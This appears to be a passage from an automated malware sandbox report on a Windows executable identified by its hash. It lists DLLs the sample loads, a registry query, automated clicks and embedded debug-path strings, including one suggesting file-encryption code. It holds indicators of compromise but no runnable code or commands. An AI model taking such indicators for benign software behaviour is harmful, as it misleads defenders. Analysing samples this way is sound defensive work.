Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: ntvdm64.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Automated click: OK
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\H source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\b^ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2539558957.00000000035C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\fexif.pdb source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\e\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505596863.000000000315D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505802837.000000000316D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\O source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\3 source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ings\*@ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2539558957.00000000035C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\V9" source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474590763.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2478448827.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2482812646.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2495778566.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2494216600.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2477859870.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474015460.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\;8 source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474590763.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2478448827.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2482812646.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2495778566.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2494216600.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2477859870.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474015460.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505596863.000000000315D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505802837.000000000316D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2539723372.0000000003699000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\~ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\# source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2494216600.0000000003112000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2477859870.0000000003111000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2495778566.0000000003112000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474015460.0000000003111000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474590763.0000000003112000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2478448827.0000000003112000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2482812646.0000000003112000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\m source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003101000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505431438.0000000003132000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.000000000312A000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505288906.000000000312B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\j source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474590763.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2478448827.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2470959972.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2482812646.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2504061998.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2495778566.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2494216600.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2477859870.0000000003145000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2474015460.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505596863.000000000315D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505199076.0000000003148000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2505802837.000000000316D000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000003.2503992715.0000000003151000.00000004.00000020.00020000.00000000.sdmp, E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2538501127.0000000003145000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\fexif.pdb source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe, 00000008.00000002.2539723372.0000000003699000.00000004.00000020.00020000.00000000.sdmp
